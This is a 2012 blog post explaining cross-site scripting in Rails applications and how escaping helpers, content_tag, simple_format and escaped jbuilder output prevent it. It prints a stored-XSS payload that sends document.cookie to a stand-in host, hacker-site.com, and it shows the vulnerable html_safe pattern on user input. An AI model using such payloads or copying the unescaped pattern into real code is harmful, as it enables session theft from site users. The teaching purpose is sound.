---
title: "XSS and Rails"
description:
  "Cross site scripting attacks are common. Rails has mechanisms to protect
  applications from such attacks. This blog discusses how Rails provides those
  mechansisms."
canonical_url: "https://www.bigbinary.com/blog/xss-and-rails"
markdown_url: "https://www.bigbinary.com/blog/xss-and-rails.md"
---

# XSS and Rails

Cross site scripting attacks are common. Rails has mechanisms to protect
applications from such attacks. This blog discusses how Rails provides those
mechansisms.

- Author: Neeraj Singh
- Published: May 10, 2012
- Categories: Rails

XSS is
[consistently a top](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project)
web application security risk as per
[The Open Web Application Security Project (OWASP)](https://www.owasp.org/index.php/Main_Page)
.

XSS vulnerability allows hacker to **execute JavaScript code** that hacker has
put in.

Most web applications has a form. User enters
`<script>alert(document.cookie)</script>` in address field and hits submit. If
user sees a JavaScript alert then it means user can execute the JavaScript code
that user has put in. It means site has XSS vulnerability.

Almost all modern web applications have some JavaScript code. And the
application executes JavaScript code. So running JavaScript code is not an
issue. The issue is that in this case hacker is able to put in JavaScript code
and then hacker is able to run that code. No one should be allowed to put their
JavaScript code into the application.

If a hacker can execute JavaScript code then the hacker can see some other
persons' cookie. Later we will see how hacker can do that.

If you are logged into an application then that application sets a cookie. That
is how the application knows that you are logged in.

If a hacker can see someone else's cookie then the hacker can log in as that
person by stealing cookie.

Having SSL does not protect site from XSS vulnerability.

XSS stands for _Cross-site scripting_. It is a very misleading name because XSS
has absolutely nothing to do with _cross-site_. It has everything to do with a
site, any site.

## A practical example

It is very common to display address in a formatted way. Usually the code is
something like this.

```ruby
array = [name, address1, address2, city_name, state_name, zip, country_name]
array.compact.join('<br />')
```

When developer looks at the html page developer will see something like this.

![xss](https://www.bigbinary.com/blog/images/images_used_in_blog/2012/xss-and-rails/xss1.png)

`<br />` tag is literally shown on the screen. Developer looks at the html
markup rendered by Rails and it looks like this

![xss](https://www.bigbinary.com/blog/images/images_used_in_blog/2012/xss-and-rails/xss2.png)

So the developer comes back to code and marks the string `html_safe` as shown
below.

```ruby
array = [name, address1, address2, city_name, state_name, zip, country_name]
array.compact.join('<br />').html_safe
```

Now the browser renders the address with proper `<br />` tag and the address
looks nicely formatted as shown below.

![xss](https://www.bigbinary.com/blog/images/images_used_in_blog/2012/xss-and-rails/xss3.png)

The developer is happy and the developer moves on.

However notice that developer has marked user input data like `address1` as
`html_safe` and that's dangerous.

## Hacker in action

The application has a number of users and everything is running smoothly. All
the users are seeing properly formatted address. And then one day a hacker tried
to hack the site. The hacker puts in address1 as
`<script>alert(document.cookie)</script>`.

Now the hacker will see a JavaScript alert which might look like this.

![xss](https://www.bigbinary.com/blog/images/images_used_in_blog/2012/xss-and-rails/xss4.png)

If we look at the html markup then the html might look like this.

```plaintext
John Smith<br /><script>alert(document.cookie)</script><br />Suite #110
<br />Miami<br />FL<br />33027<br />USA
```

Hacker had put in `<script>` and the application sent that code to browser.
Browser did its job. It executed the JavaScript code and in the process hacker
is able to see the cookie.

## How would hacker steal someone else's information.

Let's say that an application has a comment form. In the comment form hacker
puts in comment as following.

&lt;script&gt;
window.location=&#39;http://hacker-site.com?cookie=&#39;+document.cookie
&lt;/script&gt;

Next day another user, Mary, comes to the site and logs in. She is reading the
same post and that post has a lot of comments and one of the comments is comment
posted by the hacker.

The application loads all the comments including the comment posted by the
hacker.

When browser sees JavaScript code then browser executes it. And now Mary's
cookie information has been sent to hacker-site and Mary is not even aware of
it.

This is a classic case of XSS attack and this is how hacker can next time login
as Mary just by using her cookie information.

## Fixing XSS

Now that we know how hacker might be able to execute JavaScript code on our
application question is how do we prevent it.

Well there is only way to prevent it. And that is **do not send `<script>` tag
to the browser**. If we send `<script>` tag to the browser then browser will
execute that JavaScript.

So what can we do so that `<script>` tag is not sent to the browser.

## Rails default behavior is to keep things secure

Before we start looking at solutions lets revisit what happened when earlier we
did not mark content as `html_safe`. So let's remove `html_safe` and lets try to
see the content posted by the hacker.

So the code without `html_safe` would look like this.

```ruby
array = [name, address1, address2, city_name state_name, zip, country_name]
array.compact.join('<br />')
```

And if we execute this code then hackers address would look like this.

```plaintext
John Smith<br /><script>alert(document.cookie)</script><br />Suite #110<br />Miami<br />FL<br />33027<br />USA
```

Notice that in this case no JavaScript alert was seen. Hacker gets to see the
address hacker had posted. Why is that. To answer that let's look at the html
markup.

```plaintext
John Smith&lt;br /&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&lt;
br /&gt;Suite #110&lt;br /&gt;Miami&lt;br /&gt;FL&lt;br /&gt;33027&lt;br /&gt;USA
```

As we can see Rails did not render the address exactly as it was posted by the
hacker. Rails did something because of which `<script>` turned into
`&lt;script&gt;`.

Rails html escaped the content by using method
[html_escape](https://github.com/rails/rails/blob/72ffeb9fe58c46bd556a85bed5214d8f482737a5/activesupport/lib/active_support/core_ext/string/output_safety.rb#L21).

By default Rails assumes that all content is not safe and thus Rails subjects
all content to `html_escape` method.

Problem is that here we are trying to format the content using `<br />` and
Rails is escaping that also. We need to escape only the user content and not
escape `<br />`. Here is how we can do that.

```ruby
array = [name, address1, address2, city_name, state_name, zip, country_name]
array.compact.map{ |i| ERB::Util.html_escape(i) }.join('<br />').html_safe
```

In the above case we are marking the content as `html_safe` because we subjected
the content through `html_escape` and now we are sure that no unescaped user
content can go through.

This will show address in the browser like this.

![xss](https://www.bigbinary.com/blog/images/images_used_in_blog/2012/xss-and-rails/xss5.png)

Above solution worked. `<br />` is not escaped and user input was properly
escaped.

## Another solution using content_tag

In the above case we used `html_escape` and it worked. However if we need to add
say `<strong>` tag then adding the opening tag and then closing tag could be
quite cumbersome. For such cases we can use
[content_tag](https://github.com/rails/rails/blob/861b70e92f4a1fc0e465ffcf2ee62680519c8f6f/actionview/lib/action_view/helpers/tag_helper.rb#L103)

By default `content_tag` escapes the input text.

```plaintext
array = [name, address1, address2, city_name, state_name, zip, country_name]
array.compact.map{ |i| ActionController::Base.helpers.content_tag(:strong, i) }.join('').html_safe
```

## simple_format for simple formatting

If you want to format the text a little bit then you can use
[simple_format](http://api.rubyonrails.org/classes/ActionView/Helpers/TextHelper.html#method-i-simple_format)
. If user enters a bunch of text in text area then simple_format can help make
the text look pretty without compromising security. It will strip away
`<script>` and security sensitive tags. `html_escape` internally uses
[sanitize](https://github.com/rails/rails/blob/master/actionview/lib/action_view/helpers/sanitize_helper.rb)
method. Note that `simple_format` will remove `script` tag while solutions like
`html_escape` will preserve `script` tag in escaped format.

## Handling JSON data

We use [jbuilder](https://github.com/rails/jbuilder) and view looks like this.

```plaintext
json.user do
  json.name @user.name
  json.address1 @user.address1
  json.address2 @user.address2
  json.city_name @user.city_name
  json.state_name @user.state_name
  json.zip @user.zip
  json.country_name @user.country_name
end
```

This will produce JSON structure as shown below.

![xss](https://www.bigbinary.com/blog/images/images_used_in_blog/2012/xss-and-rails/xss6.png)

On the client side there is JavaScript code to display the content.
`$('body').append(data.about)` does the job. Well when that content is added to
DOM then browser will execute JavaScript code and now we are back to the same
problem.

There are two ways we can handle this problem. We can send the data as it is in
JSON format. Then it is a responsibility of client side JavaScript code to
append data in such a way that html tags like `script` are not executed.

jQuery provides [text(input)](http://api.jquery.com/text/) method which escapes
input value. Here is an example.

![jquery text](https://www.bigbinary.com/blog/images/images_used_in_blog/2012/xss-and-rails/text.png)

In this case the entire responsibility of escaping the content rests on
JavaScript. While using the data JavaScript code constantly needs to be aware of
which content is user input and must be escaped and which content is not user
input.

That is why we favor the solution where JSON content is escaped to begin with.
For escaping the content we can use `h` or `html_escape` helper method.

```plaintext
json.user do
  json.name h(@user.name)
  json.address1 h(@user.address1)
  json.address2 h(@user.address2)
  json.city_name h(@user.city_name)
  json.state_name h(@user.state_name)
  json.zip h(@user.zip)
  json.country_name h(@user.country_name)
end
```

![xss](https://www.bigbinary.com/blog/images/images_used_in_blog/2012/xss-and-rails/xss7.png)

As you can see the user content is escaped. Now this data can be sent to client
side and we do not need to worry about `script` tag being executed.

## Links

- [Human page](https://www.bigbinary.com/blog/xss-and-rails)
